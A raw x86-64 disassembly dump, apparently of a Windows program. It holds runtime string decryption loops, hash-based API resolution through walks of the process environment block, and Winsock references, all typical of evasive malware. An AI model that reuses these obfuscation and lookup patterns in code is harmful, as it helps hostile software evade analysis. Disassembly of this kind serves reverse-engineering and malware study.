jb 0x1400c826b
mov rdi, r12
lea rsi, [r15 + r12]
mov rbx, r12
jmp 0x1400c8280
lea rsi, [rsp + 0x680]
add rsi, r15
lea rbx, [rsp + 0x680]
nop
cmp rbx, rsi
je 0x1400c82af
movsx ecx, byte [rbx]
call fcn.14031ce18
mov byte [rdi], al
inc rbx
inc rdi
mov r14, qword [rsp + 0x698]
mov r15, qword [rsp + 0x690]
mov r12, qword [rsp + 0x680]
jmp 0x1400c8280
movdqa xmm0, xmmword [0x140377c90]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x44d1004
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4d], 0x90963
mov word [rsp + 0x51], 0x305
mov byte [rsp + 0x53], WSAStartup
mov byte [rsp + 0x4c], 0
xor r10d, r10d
lea r8, [rsp + 0x45]
nop
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0x4f]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c8336
inc dl
cmp dl, 4
jne 0x1400c8320
jmp 0x1400c8345
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x52]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8364
inc cl
cmp cl, 8
jne 0x1400c8352
jmp 0x1400c8373
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x51]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8392
inc cl
cmp cl, 5
jne 0x1400c8380
jmp 0x1400c83a1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x50]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x4e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x1400c82f0
lea rcx, [rsp + 0x45]
mov rsi, 0xffffffffffffffff
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c83d0
lea rcx, [rsp + 0x680]
cmp r14, 0x10
setae dil
cmovae rcx, r12
cmp r15, rax
jne 0x1400c8417
mov r8, r15
lea rdx, [rsp + 0x45]
call fcn.140316790
test eax, eax
jne 0x1400c8417
mov byte [r13 + 0x1e5], 2
movaps xmm0, xmmword [0x140377bf0]
jmp 0x1400c85b1
mov dword [rsp + 0x108], 0xf01001f3
mov dword [rsp + 0x10c], 0x1001
mov dword [rsp + 0x111], 0x63cc72
mov word [rsp + 0x115], 0x305
mov byte [rsp + 0x117], Ordinal_211
mov byte [rsp + 0x110], 0
xor r10d, r10d
lea r8, [rsp + 0x10e]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x108]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x113]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x108]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c84b6
inc dl
cmp dl, 4
jne 0x1400c84a0
jmp 0x1400c84c8
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x116]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x108]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c84f2
inc cl
cmp cl, 8
jne 0x1400c84e0
jmp 0x1400c8504
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x115]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x108]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8522
inc cl
cmp cl, 5
jne 0x1400c8510
jmp 0x1400c8534
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x114]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x112]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 2
jne 0x1400c8460
lea rcx, [rsp + 0x10e]
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c8560
lea rcx, [rsp + 0x680]
test dil, dil
cmovne rcx, r12
cmp r15, rax
jne 0x1400c85a2
mov r8, r15
lea rdx, [rsp + 0x10e]
call fcn.140316790
test eax, eax
jne 0x1400c85a2
mov byte [r13 + 0x1e5], 1
movaps xmm0, xmmword [0x140377c10]
jmp 0x1400c85b1
mov byte [r13 + 0x1e5], 3
movaps xmm0, xmmword [0x140377be0]
movups xmmword [r13 + 0x188], xmm0
lea rcx, [rsp + 0x680]
call fcn.140087070
mov r15d, dword [rsp + 0xc8]
mov r12, qword [rsp + 0x148]
jmp 0x1400c8cef
movdqa xmm0, xmmword [0x140377d70]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140377700]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1403779c0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140377cb0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [str._b_Z_b]
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8d], 0xcccc72
mov word [rsp + 0x91], 0x305
mov byte [rsp + 0x93], 0x63
mov byte [rsp + 0x8c], 0
xor r10d, r10d
lea r8, [rsp + 0x75]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x8f]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c86b7
inc dl
cmp dl, 4
jne 0x1400c86a1
jmp 0x1400c86c9
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x92]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c86e8
inc cl
cmp cl, 8
jne 0x1400c86d6
jmp 0x1400c86fa
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x91]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8714
inc cl
cmp cl, 5
jne 0x1400c8702
jmp 0x1400c8726
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x90]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x8e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0x17
jne 0x1400c8670
lea rcx, [rsp + 0x75]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c8750
lea rcx, [rsp + 0x6d8]
test r14b, r14b
cmovne rcx, rsi
cmp rdi, rax
jne 0x1400c8ce8
mov r8, rdi
lea rdx, [rsp + 0x75]
call fcn.140316790
test eax, eax
jne 0x1400c8ce8
movdqa xmm0, xmmword [0x140377f30]
movdqu xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [0x140377330]
movdqu xmmword [rsp + 0x160], xmm1
mov qword [rsp + 0x170], 0
mov dword [rsp + 0x179], 0x972cc
mov word [rsp + 0x17d], 0x305
mov byte [rsp + 0x17f], WSAStartup
mov byte [rsp + 0x178], al
xor edi, edi
mov r10d, edi
lea r8, [rsp + 0x16e]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x150]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x17b]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x150]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c8846
inc dl
cmp dl, 4
jne 0x1400c8830
jmp 0x1400c8858
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x17e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x150]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8882
inc cl
cmp cl, 8
jne 0x1400c8870
jmp 0x1400c8894
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x17d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x150]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c88b2
inc cl
cmp cl, 5
jne 0x1400c88a0
jmp 0x1400c88c4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x17c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x17a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xa
jne 0x1400c87f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x16e]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400c8900
lea rdx, [rsp + 0x16e]
lea rcx, [rsp + 0x30]
call fcn.140086c40
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x650]
call fcn.140066780
lea rdx, [rsp + 0x6a0]
mov rcx, rax
call fcn.1400b7870
bts r15d, 7
mov dword [rsp + 0xc8], r15d
lea rdi, [rsp + 0x6a0]
mov r14, qword [rsp + 0x6b8]
mov r12, qword [rsp + 0x6a0]
mov r15, qword [rsp + 0x6b0]
cmp r14, 0x10
jb 0x1400c897c
mov rdi, r12
lea rsi, [r12 + r15]
mov rbx, r12
jmp 0x1400c8990
lea rsi, [rsp + 0x6a0]
add rsi, r15
lea rbx, [rsp + 0x6a0]
nop
cmp rbx, rsi
je 0x1400c89bf
movsx ecx, byte [rbx]
call fcn.14031ce18
mov byte [rdi], al
inc rbx
inc rdi
mov r14, qword [rsp + 0x6b8]
mov r15, qword [rsp + 0x6b0]
mov r12, qword [rsp + 0x6a0]
jmp 0x1400c8990
movdqa xmm0, xmmword [0x140377c90]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x44d1004
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4d], 0x90963
mov word [rsp + 0x51], 0x305
mov byte [rsp + 0x53], WSAStartup
mov byte [rsp + 0x4c], 0
xor r10d, r10d
lea r8, [rsp + 0x45]
nop
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x4f]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c8a46
inc dl
cmp dl, 4
jne 0x1400c8a30
jmp 0x1400c8a55
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x52]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8a74
inc cl
cmp cl, 8
jne 0x1400c8a62
jmp 0x1400c8a83
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x51]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8aa2
inc cl
cmp cl, 5
jne 0x1400c8a90
jmp 0x1400c8ab1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x50]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x4e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x1400c8a00
lea rcx, [rsp + 0x45]
mov rsi, 0xffffffffffffffff
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c8ae0
lea rcx, [rsp + 0x6a0]
cmp r14, 0x10
setae dil
cmovae rcx, r12
cmp r15, rax
jne 0x1400c8b27
mov r8, r15
lea rdx, [rsp + 0x45]
call fcn.140316790
test eax, eax
jne 0x1400c8b27
mov byte [r13 + 0x1e6], 2
movaps xmm0, xmmword [0x140377bf0]
jmp 0x1400c8cc1
mov dword [rsp + 0x118], 0xf01001f3
mov dword [rsp + 0x11c], 0x1001
mov dword [rsp + 0x121], 0x63cc72
mov word [rsp + 0x125], 0x305
mov byte [rsp + 0x127], Ordinal_211
mov byte [rsp + 0x120], 0
xor r10d, r10d
lea r8, [rsp + 0x11e]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x118]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x123]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x118]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c8bc6
inc dl
cmp dl, 4
jne 0x1400c8bb0
jmp 0x1400c8bd8
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x126]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x118]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8c02
inc cl
cmp cl, 8
jne 0x1400c8bf0
jmp 0x1400c8c14
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x125]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x118]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8c32
inc cl
cmp cl, 5
jne 0x1400c8c20
jmp 0x1400c8c44
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x124]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x122]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 2
jne 0x1400c8b70
lea rcx, [rsp + 0x11e]
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c8c70
lea rcx, [rsp + 0x6a0]
test dil, dil
cmovne rcx, r12
cmp r15, rax
jne 0x1400c8cb2
mov r8, r15
lea rdx, [rsp + 0x11e]
call fcn.140316790
test eax, eax
jne 0x1400c8cb2
mov byte [r13 + 0x1e6], 1
movaps xmm0, xmmword [0x140377c10]
jmp 0x1400c8cc1
mov byte [r13 + 0x1e6], 3
movaps xmm0, xmmword [0x140377be0]
movups xmmword [r13 + 0x1b0], xmm0
lea rcx, [rsp + 0x6a0]
call fcn.140087070
mov r15d, dword [rsp + 0xc8]
mov r12, qword [rsp + 0x148]
jmp 0x1400c8cef
mov rsi, 0xffffffffffffffff
lea rcx, [rsp + 0x6d8]
call fcn.140087070
xor r14d, r14d
movzx edx, byte [rsp + 0x650]
lea rcx, [rsp + 0x658]
call fcn.140084490
nop
add r12, 0x10
mov rax, qword [rsp + 0x220]
jmp 0x1400c7338
lea rcx, [rsp + 0x6c0]
call fcn.1400843f0
nop
movzx edx, byte [rsp + 0x630]
lea rcx, [rsp + 0x638]
call fcn.140084490
nop
jmp 0x1400c8e0f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400c904f
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400c904f
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0xa5a38d7a
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400c9047
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400c8db3
cmp r10d, 0x72d96ef4
jne 0x1400c9047
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
add eax, 0x7530
mov dword [r13 + 0x1e0], eax
cmp byte [r13 + 0x1e4], 1
jne 0x1400c8f03
cmp byte [r13 + 0x1e5], 1
jne 0x1400c8f03
cmp byte [r13 + 0x1e6], 1
jne 0x1400c8f03
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400c8efb
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400c8efb
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0x8b4db2e8
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400c8ef7
nop
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400c8ea0
cmp r10d, 0xa615e78a
jne 0x1400c8ef7
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
lea ecx, [rax + 0x249f0]
jmp 0x1400c8fc9
test ebx, ebx
jne 0x1400c8e80
mov rax, qword [rax]
jmp 0x1400c8e50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400c903f
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400c903f
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0x8eb116b8
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400c9037
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400c8f73
cmp r10d, 0x918c695a
jne 0x1400c9037
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
lea ecx, [rax + 0xea60]
mov eax, 0x1e0
mov rdx, r13
mov dword [rax + rdx], ecx
mov rbx, qword [r13 + 0x1d8]
test rbx, rbx
je 0x1400c9024
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x1400c8fee
call fcn.1402c3d90
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400c8ffb
call fcn.1402c2820
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400c9009
call fcn.1403139e0
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400c9017
call fcn.1402c23c0
mov edx, gethostname
mov rcx, rbx
call fcn.1403139e0
mov qword [r13 + 0x1d8], 0
mov r15b, 1
jmp 0x1400ca0f8
test ebx, ebx
jne 0x1400c8f50
mov rax, qword [rax]
jmp 0x1400c8f20
test ebx, ebx
jne 0x1400c8d90
mov rax, qword [rax]
jmp 0x1400c8d60
mov rax, qword [0x1403d2d70]
test rax, rax
jne 0x1400c912f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x1400c9109
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x1400c9109
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
lea rcx, [r14 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x5fc4a167
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400c9104
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400c90d0
cmp r10d, 0x20a0fd93
je 0x1400c9111
test r11d, r11d
jne 0x1400c90b0
mov rax, qword [rax]
jmp 0x1400c9080
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rsi + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov eax, dword [rcx + rax*4]
add rax, rbx
mov qword [0x1403d2d70], rax
call rax
cmp eax, dword [r13 + 0x1e0]
jbe 0x1400ca0f8
mov ecx, gethostname
call fcn.1403139e8
mov r14, rax
mov qword [rsp + 0x228], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm0
mov qword [r14 + 0x30], rax
mov dword [rsp + 0x630], 0x64200067
mov dword [rsp + 0x634], 0x17d3000
mov dword [rsp + 0x638], 0x30
mov dword [rsp + 0x63d], 0x636309
mov word [rsp + 0x641], 0x305
mov byte [rsp + 0x643], 0xcc
mov byte [rsp + 0x63c], al
xor r10d, r10d
lea r8, [rsp + 0x639]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x630]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x63f]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x630]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9216
inc dl
cmp dl, 4
jne 0x1400c9200
jmp 0x1400c9228
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x642]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x630]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9252
inc cl
cmp cl, 8
jne 0x1400c9240
jmp 0x1400c9264
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x641]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x630]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9282
inc cl
cmp cl, 5
jne 0x1400c9270
jmp 0x1400c9294
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x640]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x63e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 3
jne 0x1400c91c0
lea rdx, [rsp + 0x370]
call fcn.1400ca3b0
mov r9, rax
lea rsi, [rax + 0xa2]
mov byte [rsi + 0x36], 0
xor r11d, r11d
mov r8, rsi
lea edi, [r11 + r11*2]
movzx ecx, byte [rdi + r9]
mov byte [r8], cl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx eax, bl
add al, byte [r9 + 0xdb]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rdi + 1]
movzx r10d, byte [rax + r9]
nop
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9316
inc dl
cmp dl, 4
jne 0x1400c9300
jmp 0x1400c9328
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xde]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rdi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9347
inc cl
cmp cl, 8
jne 0x1400c9335
jmp 0x1400c9359
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xdd]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9372
inc cl
cmp cl, 5
jne 0x1400c9360
jmp 0x1400c9384
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xdc]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xda]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x36
jne 0x1400c92d0
xor r9d, r9d
lea r8, [rsp + 0x639]
mov rdx, rsi
mov rcx, r14
call fcn.140083640
mov r14, rax
mov qword [r13 + 0x1d8], rax
test rax, rax
je 0x1400ca0f8
movdqa xmm0, xmmword [0x140377f40]
movdqu xmmword [rsp + 0x630], xmm0
mov qword [rsp + 0x640], 0x3000
mov dword [rsp + 0x649], 0x972cc
mov word [rsp + 0x64d], 0x305
mov byte [rsp + 0x64f], 0x72
mov byte [rsp + 0x648], 0
xor edi, edi
mov r10d, edi
lea r8, [rsp + 0x642]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x630]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x64b]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x630]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9476
inc dl
cmp dl, 4
jne 0x1400c9460
jmp 0x1400c9488
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x64e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x630]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c94b2
inc cl
cmp cl, 8
jne 0x1400c94a0
jmp 0x1400c94c4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x64d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x630]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c94e2
inc cl
cmp cl, 5
jne 0x1400c94d0
jmp 0x1400c94f4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x64c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x64a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x1400c9420
movdqa xmm0, xmmword [0x140377e60]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140377510]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140377820]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1403778b0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1403773b0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140377350]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [reloc.WS2_32.dll_WSAGetLastError]
movdqa xmmword [rsp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0xb0], edi
mov dword [rsp + 0xb5], 0x9cc72
mov word [rsp + 0xb9], 0x305
mov byte [rsp + 0xbb], WSAStartup
mov byte [rsp + 0xb4], dil
mov r10d, edi
lea r8, [rsp + 0x93]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0xb7]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9607
inc dl
cmp dl, 4
jne 0x1400c95f1
jmp 0x1400c9619
movsx ecx, byte [r8]
